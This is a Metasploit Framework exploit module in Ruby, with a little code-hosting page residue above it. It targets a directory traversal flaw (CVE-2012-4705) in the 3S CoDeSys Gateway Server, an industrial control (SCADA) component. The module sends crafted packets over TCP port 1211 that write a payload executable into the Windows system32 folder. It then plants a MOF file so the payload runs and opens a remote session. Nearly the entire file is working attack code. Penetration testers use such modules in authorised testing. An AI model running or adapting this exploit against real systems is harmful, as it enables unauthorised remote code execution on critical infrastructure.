106 lines
3.4 KiB
Ruby
106 lines
3.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::WbemExec
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
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'Description' => %q{
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This module exploits a directory traversal vulnerability that allows arbitrary
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file creation, which can be used to execute a mof file in order to gain remote
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execution within the SCADA system.
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},
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'Author' =>
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[
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'Enrique Sanchez <esanchez[at]accuvant.com>'
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],
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'License' => 'MSF_LICENSE',
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'References' =>
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[
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['CVE', '2012-4705'],
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['OSVDB', '90368'],
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['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
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],
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'DisclosureDate' => 'Feb 02 2013',
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(1211),
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], self.class)
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end
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##
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# upload_file(remote_filepath, remote_filename, local_filedata)
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#
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# remote_filepath: Remote filepath where the file will be uploaded
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# remote_filename: Remote name of the file to be executed ie. boot.ini
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# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
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def upload_file(remote_filepath, remote_filename, local_filedata = null)
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magic_code = "\xdd\xdd"
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opcode = [6].pack('L')
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# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
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file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
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#print_debug("File to upload: #{file}")
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pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
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#print_debug(pkt_size)
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# Magic_code + packing + size
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pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
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tmp_pkt = opcode << file
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tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
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pkt << tmp_pkt
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print_status("Starting upload of file #{remote_filename}")
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connect
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sock.put(pkt)
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disconnect
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print_status("File uploaded")
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end
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def exploit
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print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
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# We create an exe payload, we have to get remote execution in 2 steps
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exe = generate_payload_exe
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exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
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upload_file("windows\\system32\\", exe_name, exe)
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# We create the mof file and upload (second step)
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mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
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mof = generate_mof(mof_name, exe_name)
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upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
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print_status("Everything is ready, waiting for a session ... ")
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handler
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#Taken from the spooler exploit writen byt jduck and HDMoore
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cnt = 1
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while session_created? == false and cnt < 25
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::IO.select(nil, nil, nil, 0.25)
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cnt += 1
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end
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end
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end
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